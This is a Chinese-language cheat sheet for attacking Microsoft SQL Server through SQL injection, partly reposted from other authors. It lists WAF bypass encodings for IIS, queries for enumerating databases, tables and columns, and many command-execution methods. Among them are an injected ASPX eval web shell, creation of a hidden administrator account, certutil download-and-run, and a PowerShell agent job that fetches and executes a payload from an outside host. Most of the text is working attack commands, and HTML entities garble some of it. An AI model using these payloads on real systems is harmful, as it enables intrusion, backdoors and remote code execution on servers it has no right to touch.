mssql一般的环境是iis+asp或iis+aspx,我们先了解一下mssql的特性。
此部分内容均为转载
下面摘自 bypass大佬的waf攻防实战笔记
在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来
的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。
Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。
Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的
s%u006c%u0006ect ,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是
s%u006c%u0006ect,这样就会形成bypass的可能。
该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有
可能转换为同一个字符。打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为 e。s%u0065lect->select s%u00f0lect->select WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的 绕过。常见三个关键字(union+select+from)的测试情况:
s%u0045lect = s%u0065lect = %u00f0lect
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
Mssql可以利用的空白字符有(需要在字符前面加%):
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
注释符可以用来代替空格,或者和–配合使用,–也可以配合%0a(注释加换行)
/**/
--
/*anything*/
一般用在注入点上
如1.1或者1E0这些
下面摘自 404大佬的MSSQL_SQL_BYPASS_WIKI
+ 加法运算
- 减法运算
* 乘法运算
/ 除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去
% 取模运算,返回两数相除后的余数& 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
| 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0= 等于
<> 不等于
> 大于
!&#61; 不等于
<小于
!<不小于
>&#61; 大于或等于
!> 不大于
<&#61; 小于或等于ALL 如果一组的比较都为true&#xff0c;则比较结果为true
AND 如果两个布尔表达式都为true&#xff0c;则结果为true&#xff1b;如果其中一个表达式为false&#xff0c;则结果为false
ANY 如果一组的比较中任何一个为true&#xff0c;则结果为true
BETWEEN 如果操作数在某个范围之内&#xff0c;那么结果为true
EXISTS 如果子查询中包含了一些行&#xff0c;那么结果为true
IN 如果操作数等于表达式列表中的一个&#xff0c;那么结果为true
LIKE 如果操作数与某种模式相匹配&#xff0c;那么结果为true
NOT 对任何其他布尔运算符的结果值取反
OR 如果两个布尔表达式中的任何一个为true&#xff0c;那么结果为true
SOME 如果在一组比较中&#xff0c;有些比较为true&#xff0c;那么结果为true
0x02 常规注入流程
#一些重要的信息
&#64;&#64;version // 数据库版本user //获取当前数据库用户名db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库;select user //查询是否支持多语句
#判断是否站库分离
select * from info where id&#61;&#39;1&#39;and host_name()&#61;&#64;&#64;servername;--&#39;
and exists (select * from sysobjects)--
select is_srvrolemember(&#39;sysadmin&#39;) #如果是dba权限则不会报错and 1&#61;(select is_srvrolemember(&#39;sysadmin&#39;))and 1&#61;(select is_srvrolemember(&#39;serveradmin&#39;))and 1&#61;(select is_srvrolemember(&#39;setupadmin&#39;))and 1&#61;(select is_srvrolemember(&#39;securityadmin&#39;))and 1&#61;(select is_srvrolemember(&#39;diskadmin&#39;))and 1&#61;(select is_srvrolemember(&#39;bulkadmin&#39;))
#查询当前数据库
http://192.168.130.137/1.aspx?id&#61;1&#39;and db_name()>0;--
select * from new123 where id &#61; 2 and 1&#61;convert(int,(select top 1 table_name from information_schema.tables where table_name not in(&#39;V_XG_BZKS_SHSJHD&#39;,&#39;HH_HeartHealthRefer_Web&#39;)))
select * from new123 where id &#61; 2 and 1&#61;convert(int,(select quotename(name) from master..sysdatabases FOR XML PATH(&#39;&#39;)))
select * from new123 where name &#61; &#39;&#39; UNION select 1,(SELECT table_name from information_schema.tables where table_catalog&#61;db_name()),2 --
SELECT quotename(table_name) from information_schema.tables where table_catalog&#61;db_name() FOR XML PATH(&#39;&#39;)
查看当前数据库中用户创建的表
select * from sysobjects where xtype&#61;&#39;U&#39;
查看master数据库中用户创建的表
select * from master.dbo.sysobjects where xtype&#61;&#39;U&#39;
参考文章&#xff1a;MSSQL三个关键系统表sysdatabases,sysobjects,syscolumns作用分析
跟mysql一样使用order by。
下面语句的逻辑是&#xff0c;查找表名&#xff0c;并显示除了第一个表名外的其他表名中的第一个。举例如下&#xff1a;
下表本有两个表new123与test11&#xff0c;如果我们执行命令&#xff0c;那么我们知道除了第一个表名new123外其他表名中的第一个表名就是test11&#xff0c;则最终test11会被显示出来。如果想显示第3个表名&#xff0c;那么将第二个top后面的数据改为2即可。逻辑就变成了&#xff0c;除了前两个表名外其他表名中的第一个&#xff0c;以此类推。
SELECT top 1 table_name from information_schema.tables where table_catalog&#61;db_name() and table_name not in (SELECT top 1 table_name from information_schema.tables where table_catalog&#61;db_name())
select quotename(name) from [数据库名]..syscolumns where id &#61;(select id from [数据库名]..sysobjects where name&#61;&#39;table_name&#39;) FOR XML PATH(&#39;&#39;)
例如我要爆破&#xff0c;test数据库中new123表中的列名&#xff0c;一次性显示所有列名&#xff1a;
select quotename(name) from test..syscolumns where id &#61;(select id from test..sysobjects where name&#61;&#39;new123&#39;) FOR XML PATH(&#39;&#39;)
我们也可以一个一个显示,更改第二个top后面的数字即可&#xff0c;原理在第六步实现limit中解释过了&#xff1a;
select top 1 name from test..syscolumns where id &#61;(select id from test..sysobjects where name&#61;&#39;new123&#39;) and name not in (select top 0 name from test..syscolumns where id &#61;(select top 1 id from test..sysobjects where name&#61;&#39;new123&#39;))
一次爆出所有
select quotename(name) from new123 for xml path(&#39;&#39;)
一个一个爆出&#xff1a;
select top 1 name from new123 where name not in (select top 1 name from new123);
http://192.168.130.137/1.aspx?id&#61;1 and 1&#61;(select top 1 table_name from information_schema.tables
);--
http://192.168.130.137/1.aspx?id&#61;1 having 1&#61;1
http://192.168.130.137/1.aspx?id&#61;1 group by info.id,info.name having 1&#61;1
表是info&#xff0c;字段是id
#开启xp_cmdshell
EXEC sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;
EXEC sp_configure &#39;xp_cmdshell&#39;, 1;RECONFIGURE;-- 开启xp_cmdshell#关毕xp_cmdshell
EXEC sp_configure &#39;show advanced options&#39;, 0;RECONFIGURE;
EXEC sp_configure &#39;xp_cmdshell&#39;, 0;RECONFIGURE;
EXEC sp_configure &#39;show advanced options&#39;, 0; GO RECONFIGURE; -- 禁用advanced options#命令执行
EXEC master..xp_cmdshell &#39;ipconfig&#39;
http://192.168.130.137/1.aspx?id&#61;1;exec master..xp_cmdshell &#39;echo ^<%&#64; Page Language&#61;"Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx&#39; ;
#开启
EXEC sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE WITH OVERRIDE; EXEC sp_configure &#39;Ole Automation Procedures&#39;, 1;RECONFIGURE WITH OVERRIDE;#关闭
sp_configure &#39;ole automation procedures&#39;,0;reconfigure;exec sp_configure &#39;show advanced options&#39;,0;reconfigure;#命令执行&#xff1a;
declare &#64;shell int
exec sp_oacreate &#39;wscript.shell&#39;, &#64;shell out
exec sp_method &#64;shell, &#39;run&#39; , null, &#39;c:\windows\system32\cmd.exe \c "net user test pinohd123. /add" &#39;#shell.application执行命令declare &#64;o int
exec sp_oacreate &#39;Shell.Application&#39;, &#64;o out
exec sp_oamethod &#64;o, &#39;ShellExecute&#39;,null, &#39;cmd.exe&#39;,&#39;cmd /c net user >c:\test.txt&#39;,&#39;c:\windows\system32&#39;,&#39;&#39;,&#39;1&#39;;#写启动项
declare &#64;sp_passwordxieo int, &#64;f int, &#64;t int, &#64;ret int
exec sp_oacreate &#39;scripting.filesystemobject&#39;, &#64;sp_passwordxieo out
exec sp_oamethod &#64;sp_passwordxieo, &#39;createtextfile&#39;, &#64;f out, &#39;d:\RECYCLER\1.vbs&#39;, 1
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;set wsnetwork&#61;CreateObject("WSCRIPT.NETWORK")&#39;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;os&#61;"WinNT://"&wsnetwork.ComputerName&#39;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;Set ob&#61;GetObject(os)&#39;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;Set oe&#61;GetObject(os&"/Administrators,group")&#39;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;Set od&#61;ob.Create("user","123$")&#39;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;od.SetPassword "123"&#39;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;od.SetInfo&#39;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;Set of&#61;GetObject(os&"/123$",user)&#39;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;oe.add os&"/123$"&#39;;#下载并执行文件
declare &#64;sp_passwordxieo int, &#64;f int, &#64;t int, &#64;ret int;
exec sp_oacreate &#39;scripting.filesystemobject&#39;, &#64;sp_passwordxieo out;
exec sp_oamethod &#64;sp_passwordxieo, &#39;createtextfile&#39;, &#64;f out, &#39;c:\www\1.bat&#39;, 1;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;&#64;echo off&#39;;
exec &#64;ret &#61; sp_oamethod &#64;f, &#39;writeline&#39;, NULL,&#39;start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"&#39;;declare &#64;shell int exec sp_oacreate &#39;wscript.shell&#39;,&#64;shell output exec sp_oamethod &#64;shell,&#39;run&#39;,null,&#39;c:\www\1.bat&#39;declare &#64;shell int exec sp_oacreate &#39;wscript.shell&#39;,&#64;shell output exec sp_oamethod &#64;shell,&#39;run&#39;,null,&#39;c:\www\file.exe&#39;
#开启沙盒
exec sp_configure &#39;show advanced options&#39;,1;reconfigure;
exec sp_configure &#39;Ad Hoc Distributed Queries&#39;,1;reconfigure;
exec master..xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Jet\4.0\Engines&#39;,&#39;SandBoxMode&#39;,&#39;REG_DWORD&#39;,0#执行命令
select * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database&#61;c:\windows\system32\ias\dnary.mdb&#39;,&#39;select shell("whoami")&#39;)
select * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database&#61;ias\ias.mdb&#39;,&#39;select shell("CMD命令")&#39;)
上面失败的时候使用下面的&#xff1a;
declare &#64;hr int
declare &#64;object int;declare &#64;property int
exec &#64;hr &#61; sp_OACreate &#39;ADOX.Catalog&#39;,&#64;object OUTPUTexec &#64;hr &#61; sp_OAMethod &#64;object,&#39;Create&#39;,&#64;property output,&#39;Provider&#61;Microsoft.Jet.OLEDB.4.0;Data Source&#61;SysSetup.xml&#39;#执行命令
select * from openrowset(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database&#61;SysSetup.xml&#39;,&#39;select shell("CMD命令")&#39;)
条件&#xff1a;
1.目标服务器必须开启了MSSQL Server代理服务&#xff1b;
2.服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业&#xff1b;
USE msdb; EXEC dbo.sp_add_job &#64;job_name &#61; N&#39;test_powershell_job1&#39; ; EXEC sp_add_jobstep &#64;job_name &#61; N&#39;test_powershell_job1&#39;, &#64;step_name &#61; N&#39;test_powershell_name1&#39;, &#64;subsystem &#61; N&#39;PowerShell&#39;, &#64;command &#61; N&#39;powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(&#39;&#39;http://192.168.214.129:80/a&#39;&#39;))"&#39;, &#64;retry_attempts &#61; 1, &#64;retry_interval &#61; 5 ;EXEC dbo.sp_add_jobserver &#64;job_name &#61; N&#39;test_powershell_job1&#39;; EXEC dbo.sp_start_job N&#39;test_powershell_job1&#39;;
#开启和关毕sp_makewebtask
exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Web Assistant Procedures&#39;,1;RECONFIGURE; -- 开启
exec sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;exec sp_configure &#39;Web Assistant Procedures&#39;,0;RECONFIGURE; -- 关毕
EXEC sp_configure &#39;show advanced options&#39;, 0; GO RECONFIGURE WITH OVERRIDE; -- 禁用advanced options#sp_makewebtask新建文件
exec sp_makewebtask &#39;c:\windows.txt&#39;,&#39; select &#39;&#39;<%25execute(request("a"))%25>&#39;&#39; &#39;;;--
execute master..xp_dirtree &#39;c:&#39; --列出所有c:\文件、目录、子目录
execute master..xp_dirtree &#39;c:&#39;,1 --只列c:\目录
execute master..xp_dirtree &#39;c:&#39;,1,1 --列c:\目录、文件当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree &#39;c:&#39;,1,1;例如&#xff1a;
http://192.168.130.137/1.aspx?id&#61;1;CREATE TABLE cmdtmp (dir varchar(8000));
http://192.168.130.137/1.aspx?id&#61;1;insert into cmdtmp(dir) exec master..xp_cmdshell &#39;for /r c:\ %i in (1*.aspx) do &#64;echo %i&#39;
#启动clr和高级选项2017版本之前
sp_configure &#39;show advanced options&#39;,1;RECONFIGURE
sp_configure &#39;clr enabled&#39;,1;RECONFIGURE;
ALTER DATABASE master SET TRUSTWORTHY ON;
#启动clr和高级选项2017版本之后
sp_configure &#39;show advanced options&#39;,1;RECONFIGURE
sp_configure &#39;clr enabled&#39;,1;RECONFIGURE;
sp_add_trusted_assembly &#64;hash&#61;
GO#创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
&#64;cmd NVARCHAR (MAX)
AS EXTERNAL NAME [master].[StoredProcedures].[ExecCommand]
go#执行命令
exec dbo.ExecCommand "whoami /all";
if not exists (select * from dbo.sysobjects where id &#61; object_id(N&#39;[dbo].[xp_cmdshell]&#39;))
dbcc addextendedproc (&#39;xp_cmdshell&#39;,&#39;xplog70.dll&#39;)
if not exists (select * from dbo.sysobjects where id &#61; object_id(N&#39;[dbo].[xp_dirtree]&#39;))
dbcc addextendedproc (&#39;xp_dirtree&#39;,&#39;xpstar.dll&#39;)
if not exists (select * from dbo.sysobjects where id &#61; object_id(N&#39;[dbo].[xp_fixeddrives]&#39;))
dbcc addextendedproc (&#39;xp_fixeddrives&#39;,&#39;xpstar.dll&#39;)
if not exists (select * from dbo.sysobjects where id &#61; object_id(N&#39;[dbo].[xp_regwrite]&#39;))
dbcc addextendedproc (&#39;xp_regwrite&#39;,&#39;xpstar.dll&#39;)
if not exists (select * from dbo.sysobjects where id &#61; object_id(N&#39;[dbo].[xp_regread]&#39;))
dbcc addextendedproc (&#39;xp_regread&#39;,&#39;xpstar.dll&#39;)
https://paper.seebug.org/1525/#clr_1
https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit
#知道账号密码
mssql_escalate_dbowner
#不知道账号密码只知道web的注入点
mssql_escalate_dbowner_sqli
#知道账号密码
mssql_escalate_execute_as
#不知道账号密码只知道web的注入点
mssql_escalate_execute_as_sqli
aleenzz/MSSQL_SQL_BYPASS_WIKI
记一次面试bypass宝塔&#43;安全狗的手注
MSSQL手工注入总结
从DBO到DBA的两种思路
mssql命令执行
mssql注入总结